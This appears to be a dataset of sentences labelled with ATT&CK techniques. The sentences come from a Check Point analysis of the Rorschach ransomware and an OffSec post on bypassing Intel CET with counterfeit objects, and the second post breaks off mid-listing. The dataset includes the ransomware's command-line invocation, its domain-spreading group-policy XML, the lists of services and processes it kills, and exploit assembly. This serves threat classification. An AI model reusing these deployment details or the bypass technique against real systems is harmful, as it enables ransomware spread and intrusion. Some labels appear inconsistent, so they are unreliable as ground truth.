{"sentence": "Each person who examined the ransomware saw something a little bit different, prompting us to name it after the famous psychological test – Rorschach Ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Execution Flow As observed in the wild, Rorschach execution uses these three files: cy.exe – Cortex XDR Dump Service Tool version 7.3.0.16740, abused to side-load winutils.dll winutils.dll – Packed Rorschach loader and injector, used to decrypt and inject the ransomware.", "labels": ["T1027", "T1574.002"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Figure 1 – Rorschach’s High Level Execution Flow on both endpoints and on Domain Controllers.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Security Solution Evasion Rorschach spawns processes in an uncommon way, running them in SUSPEND mode and giving out falsified arguments to harden analysis and remediation efforts.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The falsified argument, which consists of a repeating string of the digit 1 based on the length of the real argument, rewritten in memory and replaced with the real argument, resulting in a unique execution: Figure 2 – Rorschach’s process tree spawns processes with falsified arguments.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Similar functionality was linked in the past to LockBit 2.0, although the Rorschach Ransomware GPO deployment is carried out differently, as described below: Rorschach copies its files into the scripts folder of the DC, and deletes them from the original location.", "labels": ["T1070.004"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach then creates a group policy (see Appendix C) that copies itself into the %Public% folder of all workstations in the domain.", "labels": ["T1484.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This is done by creating a schedule task invoking taskkill.exe.", "labels": ["T1053.005"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Finally, Rorschach creates another group policy that registers a scheduled task which runs immediately and upon user logon, to run Rorschach’s main executable with the relevant arguments.", "labels": ["T1053.005", "T1484.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Our colleagues in AhnLab published a more thorough behavioral analysis of another Rorschach variant which provides further details into the operations.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Ransomware Analysis", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition to the ransomware’s uncommon behavior described above, the Rorschach binary itself contains additional interesting features, differentiating it further from other ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The actual sample is protected carefully, and requires quite a lot of work to access.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "First, the initial loader/injector winutils.dll is protected with UPX-style packing.", "labels": ["T1027"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "After Rorschach is injected into notepad.exe, it’s still protected by VMProtect.", "labels": ["T1055"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Only after defeating both of these safeguards is it possible to properly analyze the ransomware logic.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Security Solution Evasion Although Rorschach is used solely for encrypting an environment, it incorporates an unusual technique to evade defense mechanisms.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The procedure involves utilizing the instruction itself, and it goes as follows:", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware finds the relevant syscall numbers for NT APIs, mainly related to file manipulation.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach then stores the numbers in a table for future use.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In other words, the malware first creates a syscall table for NT APIs used for file encryption: Figure 3 – Creation of syscall table for certain NT APIs.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The end of the table is a section with the relevant syscall numbers: Figure 4 – Section containing the syscall table.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This obfuscated process is not required for the ransomware encryption logic, which suggests it was developed to bypass security solutions monitoring direct API calls.", "labels": ["T1027", "T1059.003"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Command Line Arguments", "labels": ["T1059.003"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "All of them are hidden, obfuscated, and not accessible without reverse-engineering the ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This table contains some of the arguments that we discovered: ArgumentExample ParameterDescription–run=1234Password needed to run the sample, possibly built on demand.–nomutex=1Do not create a mutex, therefore do not insure that only a single instance is running.–log=1Create log files.–nodel=0Do not self-delete on execution.–path=“C:”Encrypt only the following path.–noshare=1Do not encrypt shares.–pt=”C:.dll”Explicitly state the loader DLL.–cg=”C:.ini”Explicitly state the configuration file that stores the malware.–we=”C:.exe”Explicitly state the main executable.–diskpart=1Run diskpart.exe /s AppData_x.txt that removes read-", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "only volume attributes.–nobk=1Do not change the wallpaper of the infected machine.–thread=4Number of threads per CPU.–at=2023/03/24 05:04:20Activation time (trigger time).–nomail=1Do not create a ransom note.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This is only a partial list, with additional arguments suggesting networking capabilities, such as listen, srv and hostfile.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Example of how some of these arguments are used: cy.exe --run=1234 --nomutex=0 --log=1 --nodel=1 --path=\"C:\\Myfolder\"", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "--full=1 --diskpart=1", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "--nobk=0 Language Based Protection Before encrypting the target system, the sample runs two system checks that can halt its execution: It uses GetSystemDefaultUILanguage and GetUserDefaultUILanguage to determine what language the user is using.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It exits if the return value is commonly used in CIS countries: { 0x042b: \"Armenian_Armenia\", 0x042c: \"Azeri_Latin\", 0x043f: \"Kazakh\", 0x082c: \"Azeri_Cyrillic\", 0x419: \"Russian\", 0x422: \"Ukrainian\", 0x423: \"Belarusian\", 0x428: \"Tajik\", 0x437: \"Georgian\", 0x440: \"Kyrgyz_Cyrillic\", 0x442: \"Turkmen\", 0x443: \"Uzbek_Latin\", 0x819: \"Russian_Moldava\", 0x843: \"Uzbek_Cyrillic\" } Encryption Process The Rorschach ransomware employs a highly effective and fast hybrid-cryptography scheme, which blends the curve25519 and eSTREAM cipher hc-128 algorithms for encryption purposes.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This process only encrypts a specific portion of the original file content instead of the entire file.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The shared secret is calculated through curve25519, using both the generated private key and a hardcoded public key.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Finally, the computed SHA512 hash of the shared secret is used to construct the KEY and IV for the eSTREAM cipher hc-128.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Figure 6 – The Rorschach hybrid-cryptography scheme.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition, it appears that compiler optimization is prioritized for speed, with much of the code being inlined.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "All of these factors make us believe that we may be dealing with one of the fastest ransomware out there.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "To verify our hypothesis, we conducted five separate encryption speed tests in a controlled environment (with 6 CPUs, 8192MB RAM, SSD, and 220000 files to be encrypted), limited to local drive encryption only.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "To provide a meaningful comparison with other known fast ransomware, we compared Rorschach with the notorious LockBit v.3.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The result of the speed tests: RansomwareAverage approximate time of encryptionLockBit v.37 minutesRorschach4 minutes, 30 secondsIt turned out that we have a new speed demon in town.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "What’s even more noteworthy is that the Rorschach ransomware is highly customizable.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "By adjusting the number of encryption threads via the command line argument --thread, it can achieve even faster times.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The name itself, “Rorschach”, is quite self-explanatory; with deep reverse engineering of the code and its logic, we found certain similarities with some of the more technically advanced and established ransomware groups.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "We discussed Rorschach’s hybrid-cryptography scheme in detail above, but we suspect that this routine was borrowed from the leaked source code of Babuk ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "See the following code snippets as examples: Figure 7 – Hybrid-cryptography scheme of Rorschach vs. Babuk.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach’s inspiration from Babuk is evident in various routines, including those responsible for stopping processes and services.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In fact, the code used to stop services through the service control manager appears to have been directly copied from Babuk’s source code: Figure 8 – Stopping predefined list of services – Rorschach vs. Babuk.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It is also worth noting that the list of services to be stopped in Rorschach’s configuration is identical to that in the leaked Babuk source code.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "However, the list of processes to be stopped differs slightly, as Rorschach omits notepad.exe, which is used as a target for code injection.", "labels": ["T1057"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "However, the I/O Completion Ports method of thread scheduling is another component where Rorschach took some inspiration from LockBit.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The final renaming of the encrypted machine files in Rorschach is implemented via NtSetInformationFile using FileInformationClass FileRenameInformation, just like in LockBit v2.0.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Figure 9 – Renaming of encrypted file using NtSetInformationFile.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "As noted before, Rorschach’s code is protected and obfuscated in a way that is unusual for ransomware, and is compiled with compiler optimization to favor speed and code inlining as much as possible.", "labels": ["T1027"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This makes finding similarities with other well-known ransomware families a real brain-buster.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "We mentioned previously that Ahnlab reported a similar attack earlier this year.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "While it was carried out through different means, the ransomware described in the report triggers an almost identical execution flow.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The note was actually very similar to those issued by DarkSide, which probably led to this new ransomware being named “DarkSide,” despite the group being inactive since May 2021.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The Rorschach variant we analyzed leaves a different ransom note based on the structure used by Yanlowang, another ransomware group: Figure 10 – Ransom note from Rorschach.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Conclusion Our analysis of Rorschach reveals the emergence of a new ransomware strain in the crimeware landscape.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Its developers implemented new anti-analysis and defense evasion techniques to avoid detection and make it more difficult for security software and researchers to analyze and mitigate its effects.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Additionally, Rorschach appears to have taken some of the ‘best’ features from some of the leading ransomwares leaked online, and integrated them all together.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition to Rorschach’s self-propagating capabilities, this raises the bar for ransom attacks.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The operators and developers of the Rorschach ransomware remain unknown.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "They do not use branding, which is relatively rare in ransomware operations.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Our findings underscore the importance of maintaining strong cybersecurity measures to prevent ransomware attacks, as well as the need for continuous monitoring and analysis of new ransomware samples to stay ahead of evolving threats.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "As these attacks continue to grow in frequency and sophistication, it is essential for organizations to remain vigilant and proactive in their efforts to safeguard against these threats.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "When running on a machine infected with the Rorschach ransomware, Harmony Endpoint Anti-ransomware detected the encryption process in different folders, including modifications made to Harmony Endpoint ‘honeypot’ files.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It ran a ranking algorithm that provided a verdict identifying the process as a ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Samples/IOCs Files NameHashCommentscy.exe2237ec542cdcd3eb656e86e43b461cd1PA Cortex Dump Service Tool (benign file)winutils.dll4a03423c77fe2c8d979caca58a64ad6cLoader and injector into notepad.execonfig.ini6bd96d06cd7c4b084fe9346e55a81cf9Encrypted ransomware payloadAppendix A – Services and processes terminated through GPO by Rorschach The following services are stopped through a GPO issued by Rorschach, probably to prevent conflicting write orders to Database files (and thus preventing encryption): SQLPBDMSSQLPBENGINEMSSQLFDLauncherSQLSERVERAGENTMSSQLServerOLAPServiceSSASTELEMETRYSQLBrowserSQL Server Distributed Replay ClientSQL Server Distributed Replay ControllerMsDtsServer150SSISTELEMETRY150SSISScaleOutMaster150SSISScaleOutWorker150MSSQLLaunchpadSQLWriterSQLTELEMETRYMSSQLSERVERThe following processes are killed using a group policy (scheduled task) issued by Rorschach executing C:\\windows\\system32\\taskkill.exe.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Some are likely terminated to prevent write conflicts, and some are security solutions: wxServer.exewxServerView.exesqlmangr.exeRAgui.exesupervise.exeCulture.exeDefwatch.exehttpd.exesync-taskbarsync-workerwsa_service.exesynctime.exevxmon.exesqlbrowser.exetomcat6.exeSqlservr.exeAppendix B – Hardcoded Rorschach configuration", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The following is a list of services, hardcoded in its configuration, to be stopped via the service control manager: AcronisAgentAcrSch2SvcbackupBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceBackupExecVSSProviderCAARCUpdateSvcCASAD2DWebSvcccEvtMgrccSetMgrDefWatchGxBlrGxCIMgrGxCVDGxFWDGxVssIntuit.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "FCSmemtasmepocsPDVFSServiceQBCFMonitorServiceQBFCServiceQBIDPServiceRTVscanSavRoamsophossqlstc_raw_agentsvc$veeamVeeamDeploymentServiceVeeamNFSSvcVeeamTransportSvcVSNAPVSSvssYooBackupYooITzhudongfangyuThe following is a hardcoded list of directories and files to be omitted from encryption: ...", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Bin1_config.iniAhnlabAll UsersAppDataAUTOEXEC.BATautoexec.batautorun.infbegin.txtBootboot.inibootfont.binbootmgfw.efibootmgrbootmgr.efibootsect.bakconfig.inidesktop.inifinish.txtGoogleiconcache.dbInternet", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "LOG1ntuser.dat.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "LOG2ntuser.iniOperaOpera SoftwarePoliciesProgram", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "FilesProgram Files (x86)ProgramDatascriptsSYSVOLthumbs.dbTor BrowserWindowsWINDOWSWindows.oldThe", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "following is a list of process names that during Rorschach’s execution these names are compared to those running on the machine and killed if matched.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This is done through a combination of CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, OpenProcess, and TerminateProcess.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "FCSisqlplussvc.exememtasmepocsmsaccess.exeMSExchangemsftesql-Exchangemsmdsrvmspub.exeMSSQLmydesktopqos.exemydesktopservice.exeocautoupds.exeocomm.exeocssd.exeonenote.exeoracle.exeoutlook.exePDVFSServicepowerpnt.exeQBCFMonitorServiceQBFCServiceQBIDPServiceSavRoamsophossqbcoreservice.exesql.exesqladhlpSQLADHLPsqlagentSQLAgentSQLAgent$SHAREPOINTSQLBrowserSQLWritersteam.exesynctime.exetbirdconfig.exethebat.exethunderbird.exetomcat6veeamVeeamDeploymentServiceVeeamNFSSvcVeeamTransportSvcvisio.exevmware-convertervmware-usbarbitator64WinSAT.exewinword.exewordpad.exewrapper.exeWSBExchangexfssvccon.exeYooBackupAppendix C – Group Policies executed by Rorschach Transferring its own files to each workstation: <Files clsid=\"{215B2E53-57CE-475c-80FE-9EEC14635851}\"> <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"0305_winutils.dll\" status=\"0305_winutils.dll\" image=\"2\" changed=\"2023-03-05 08:51:22\" uid=\"{3F490769-A341-4220-90A3-51964B4A0C12}\" bypassErrors=\"1\"> <Properties action=\"U\" fromPath=\"\\\\**REDACTED**\\sysvol\\**REDACTED**.local\\scripts\\winutils.dll\" targetPath=\"%Public%\\winutils.dll\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\" /> </File> <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"0305_config.ini\" status=\"0305_config.ini\" image=\"2\" changed=\"2023-03-05 08:51:22\" uid=\"{F513F283-3C66-4C71-9B9B-4CE9BBFCEEF1}\" bypassErrors=\"1\"> <Properties action=\"U\" fromPath=\"\\\\**REDACTED**.local\\sysvol\\**REDACTED**.local\\scripts\\config.ini\" targetPath=\"%Public%\\config.ini\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\" /> </File> <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"0305_cy.exe\" status=\"0305_cy.exe\" image=\"2\" changed=\"2023-03-05 08:51:22\" uid=\"{0A16D469-2648-4849-99C8-95D1B777D59A}\" bypassErrors=\"1\"> <Properties action=\"U\" fromPath=\"\\\\**REDACTED**.local\\sysvol\\**REDACTED**.local\\scripts\\cy.exe\" targetPath=\"%Public%\\cy.exe\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\" /> </File> </Files>", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Bypassing Intel CET with Counterfeit Objects Matteo Malvica Content Developer Since its inception in 2005, return-oriented programming (ROP) has been the predominant avenue to thwart W^X mitigation during memory corruption exploitation.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "These code chunks are taken from already existing code in the target application and chained together to resemble the desired attacker payload or to just disable DEP on a per page basis to allow the existing code payloads to run.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "To permanently block ROP attacks, a new hardware-enforced Control Flow Integrity mitigation called Control Enforcement Technology (CET) has been developed by Intel and first shipped on Windows systems roughly two years ago.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "At first, the advent of CET painted a bleak picture future for exploit developers and their reliance on ROP-based techniques.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "However, in 2015, a new code-reuse technique named Counterfeit Object-Oriented Programming (COOP) has been formulated in a paper which seemed quite promising in defeating Control-Flow Integrity (CFI) defenses.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "In this blog, we’ll briefly cover how CFI mitigations works, including CET, and how we can leverage COOP to effectively bypass Intel CET on the latest Windows releases.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Forward-Edge and Backward-Edge CFI Control Flow Integrity mechanisms can be grouped into two main categories: forward-edge and backward-edge.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "If the original return address gets overwritten during a memory corruption exploit, the address comparison will inevitably fail and the application will be terminated.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Given that ROP-based attacks execute “RET” instructions without a prior “CALL” instruction, the running thread’s stack and the shadow stack values mismatch and so backward-edge CFI like CET effectively blocks this attack technique.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "However since the latter technology has not yet been implemented on Windows, in this blog post we are going to refer to “Intel CET” as the implementation with only Shadow Stack enabled.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "This means that the way CET is currently implemented is quite ineffective because the renderer process is the one that gets typically exploited.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Even though CET is still not widely enforced on browsers we should expect it to be enforced on every process over the coming years.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "To avoid getting caught unprepared, as researchers, we should improve our tradecraft and constantly learn about newly developed attack angles.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Additionally, no matter how impeding a mitigation might be, we need to broaden our horizon if we want to find any weaknesses.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Counterfeiting Objects As mentioned in this post’s premise, a novel code reuse technique named Counterfeit Object-Oriented Programming or COOP has been put together by Felix Schuster in 2015.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "We should note that this paper is quite theoretical.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "The main idea behind this technique is counterfeiting – that is crafting new objects in-memory from attacker-controlled payloads and to chain them together through virtual functions that are already present in the target application or in loaded libraries.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Each virtual function contained in a counterfeit object is called a vfgadget and is responsible for performing a small task.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Since vfgadgets are picked from a pool of CFG-valid functions we can mark them as legitimate, and their execution will not be blocked by CFG once we hijack an indirect call with one of them.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "In addition, an interesting corollary is that Intel CET won’t be triggered since we won’t corrupt any function return address during the process of calling vfgadgets in sequence.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As illustrated in Schuster’s paper, a typical COOP payload begins with a foundational vfgadget that acts as the COOP’s main function.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "We’ll refer to it as Looper in this blog post.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Once the attacker has assembled the counterfeit object in memory, the Looper vfgadget iterates over an array of other vfgadgets, carefully prearranged by the attacker, which will be invoked one by one.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "By aligning the vfgadgets in the counterfeit object in such a way, we’ll be able to call valid virtual functions in a controlled manner.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "These vfgadgets will be stored at regular intervals within the the array accessed by the Looper.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "An Argument Loader vfgadget populates a given register by loading a value into it.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "The value to be loaded will be stored inside the counterfeit object at an offset from the beginning of the fake object.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "The following graph sum-up the COOP attack strategy discussed so far.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "The following assembly code provides a simplified version of a Looper COOP vfgadget: mov rbx, [rcx+0x40] loop_start: mov rax, [rbx] call cs:__guard_dispatch_icall_fptr mov rbx, [rbx+20h] test rbx, rbx jnz short loop_start ...", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "loop_exit: ret Looper Gadget relevant ASM code On the first line, RCX holds the this pointer and we load into RBX the start of the counterfeit object that has been placed at offset 0x40 from RCX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Since all the items in our counterfeit objects will be referenced at offsets from thethis pointer, we need to make sure to save its value before hijacking the program flow (i.e by corrupting a vtable).", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "The COOP payload base address is then dereferenced into RAX which points to the first vfgadget that gets called.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "While writing our counterfeit object in memory, we need to align upfront each vfgadget to match the Looper offsets, similarly to the following layout:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "From the previous code listing, we notice at the first line of the _loopstart routine that the pointer gets dereferenced into RAX, which in turn points to the first vfgadget.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "When exploiting real-world targets such browsers, it is recommended to rely on the Looper vfgadget because it gives more control and stability over the other vfgadgets.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "However, for the sake of brevity, we wrote our vulnerable application with only a single Invoker vfgadget which accepts one argument, as we’ll see in the next section.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Having covered introductory COOP theory, let’s move on to exploiting a CET-compiled proof of concept application that we developed to showcase COOP attacks.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Bypassing the CET Shadow Stack with COOP The vulnerable application we wrote is compiled with CET and CFG in addition to DEP, which is on by default.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "First off, to verify that CET is really enforced, we place a breakpoint on printf, inspect the call-stack, overwrite the return address and resume execution.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "0:000> bp printf 0:000> g 0:000> k # Child-SP RetAddr Call Site 00", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000000`0014fde8", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000001`400180e8 coop!printf", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "[C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.19041.0\\ucrt\\stdio.h @ 956] 01 00000000`0014fdf0", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000001`40018d54 coop!main+0x28", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
